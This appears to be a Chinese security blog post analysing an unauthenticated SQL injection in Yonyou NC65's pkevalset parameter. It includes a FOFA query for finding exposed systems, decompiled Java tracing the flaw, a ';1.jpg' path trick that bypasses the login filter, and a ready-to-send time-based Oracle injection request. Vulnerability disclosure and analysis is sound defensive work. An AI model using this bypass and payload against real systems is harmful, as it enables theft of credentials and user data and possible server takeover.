用友NC pkevalset SQL注入漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC电子商务平台的 pkevalset 参数存在SQL注入漏洞,未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息(例如管理员后台密码、站点用户个人信息)之外,攻击者甚至可以在高权限下向服务器写入命令,进一步获取服务器系统权限。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

先看对应的过滤

nc/bs/ebvppub/filter/EbvpRequestFilter.Java

public void init(FilterConfig arg0) throws ServletException {
    this.listNoNeedLoginUrl.add("/ebvp");
    this.listNoNeedLoginUrl.add("/ebvp/");
    this.listNoNeedLoginUrl.add("/ebvp/index.jsp");
    this.listNoNeedLoginUrl.add("/ebvp/randomid");
    this.listNoNeedLoginUrl.add("/ebvp/lostpwd");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/purannouncenologin");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/purannounceajax");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/showcontent");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/viewpurtrendsnologin");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/viewpurtrendsajax");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/viewlawrulenologin");
    this.listNoNeedLoginUrl.add("/ebvp/infopub/viewlawruleajax");
    this.listNoNeedLoginUrl.add("/ebvp/expeval/login");
    this.listNoNeedLoginUrl.add("/ebvp/expeval/loginsubmit");
    this.listNoNeedLoginUrl.add("/ebvp/sourcingcoll/FileUpload_new.jsp");
    this.listNoNeedLoginUrl.add("/ebvp/pushlet.srv");
    this.listNoNeedLoginPatchUrl.add("/ebvp/login/");
    this.listNoNeedLoginPatchUrl.add("/ebvp/schedulecoll/langtrconller/");
    this.listNoNeedLoginPatchUrl.add("/ebvp/register/");
    this.listNoNeedLoginPatchUrl.add("/ebvp/index/");
    this.listNoNeedLoginPatchUrl.add("/ebvp/ebvpfile/");
    this.staticResourceSuffixes.add(".js");
    this.staticResourceSuffixes.add(".css");
    this.staticResourceSuffixes.add(".json");
    this.staticResourceSuffixes.add(".html");
    this.staticResourceSuffixes.add(".png");
    this.staticResourceSuffixes.add(".gif");
    this.staticResourceSuffixes.add(".jpg");
    this.staticResourceSuffixes.add(".icon");
    this.staticResourceSuffixes.add(".tpl");
}

我们只需要 URL 里有这些后缀或者url 就可以绕过权限校验

根据官方漏洞通告

直接看 EvalScheduleController.java 的业务逻辑处理

package nc.bs.ebvp.expeval;

import java.util.List;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.ebvp.expeval.form.EvalScheFormUtil;
import nc.bs.ebvp.expeval.form.EvalScheduleForm;
import nc.bs.ebvppub.ebvpservicefactory.NCLocatorFactory;
import nc.bs.ebvppub.tools.DefualtPageBarInfo;
import nc.itf.ebvp.expeval.service.IEvalListQueryService;
import nc.itf.ebvp.expeval.service.IEvalScheduleQueryService;
import nc.vo.ebvp.evalset.pojo.AggEvalSetPOJO;
import nc.vo.ebvp.expertbasdoc.pojo.ExpertBasDocPOJO;
import nc.vo.ecpubapp.pattern.data.DefaultPageInfo;
import nc.vo.ecpubapp.pattern.log.Log;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

@Controller
public class EvalScheduleController {

@RequestMapping(value={"/expertschedule"}, method={RequestMethod.GET})
public String expertSchedule(HttpServletRequest request, HttpServletResponse response) {
    String pkEvalSet = request.getParameter("pkevalset");
    ExpertBasDocPOJO expVO = (ExpertBasDocPOJO)request.getSession().getAttribute("EC_EXPERTEVAL_USERVO");
    IEvalScheduleQueryService service = (IEvalScheduleQueryService)NCLocatorFactory.getInstance().getEbvpNCLocator().lookup(IEvalScheduleQueryService.class);
    try {
        AggEvalSetPOJO aggEvalSetVo = service.getEvalSetScheInfoByPk(pkEvalSet);
        EvalScheduleForm scheForm = EvalScheFormUtil.convertVO2Form(aggEvalSetVo, expVO);
        request.setAttribute("EXPERTEVAL_EVALSCHEDULEDETAIL", (Object)scheForm);
    }
    catch (Exception e) {
        Log.getInstance().error((Throwable)e);
        request.setAttribute("EXCEPTION_ERROR", (Object)e);
        return "experteval/error";
    }
    return "experteval/expertschedule";
}
}

pkEvalSet 带入 service.getEvalSetScheInfoByPk

public class EvalScheduleQueryServiceImpl
implements IEvalScheduleQueryService {
    public AggEvalSetPOJO getEvalSetScheInfoByPk(String pkEvalSet) throws BusinessException {
        IEvalSetWsQueryService service = (IEvalSetWsQueryService)NCLocator.getInstance().lookup(IEvalSetWsQueryService.class);
        AggEvalSetVO aggVo = service.getEvalSetScheInfoByPk(pkEvalSet);
        AggEvalSetPOJO retVo = (AggEvalSetPOJO)DataVOCopyUtils.ebpurtoebvpAggCopy((Object)aggVo, AggEvalSetPOJO.class);
        return retVo;
    }
public AggEvalSetVO getEvalSetScheInfoByPk(String pkEvalSet) throws BusinessException {
    Object[] objs = this.queryMDVOByPks(EvalSetVO.class, new String[]{pkEvalSet}, null);
    if (objs == null || objs.length == 0) {
        return null;
    }
public Object[] queryMDVOByPks(Class parentCls, String[] pks, DefaultTransBizExtContext transContext) throws BusinessException {
    SuperVO parentVO;
    try {
        parentVO = (SuperVO)parentCls.newInstance();
    }
    catch (Exception e) {
        Log.getInstance().error((Throwable)e);
        String message = NCLangResOnserver.getInstance().getStrByID("ec20010_0", "0ec20010-000287");
        throw new BusinessException(message);
    }
    SqlBuilder strWhere = new SqlBuilder();
    strWhere.append(parentVO.getPKFieldName(), pks);
    List list = (List)MDPersistenceService.lookupPersistenceQueryService().queryBillOfVOByCond(parentCls, strWhere.toString(), true, false);

最终通过GET请求,将 pkevalset 参数值拼接进SQL语句where子语句中调用 executeQuery 直接执行,无任何过滤或校验造成SQL注入漏洞,朴实无华。

漏洞复现

漏洞利用示例

GET /ebvp/expeval/expertschedule;1.jpg?pkevalset=1'+OR+1111%3d(SELECT+COUNT(*)+FROM+ALL_USERS+T1,ALL_USERS+T2,ALL_USERS+T3,ALL_USERS+T4,ALL_USERS+T5)-- HTTP/1.1
HTTP/1.1
Host: nc65.mrxn.net

参考

  • https://security.yonyou.com/#/noticeInfo?id=481
  • https://www.iufida.com/313-151713-0.html#download
  • https://mp.weixin.qq.com/s/_Vn1Zkil3umediyv2KKeUw

手机扫码阅读

锐捷-EWEB timeout.php 文件读取漏洞

锐捷-EWEB timeout.php 命令注入漏洞

评 论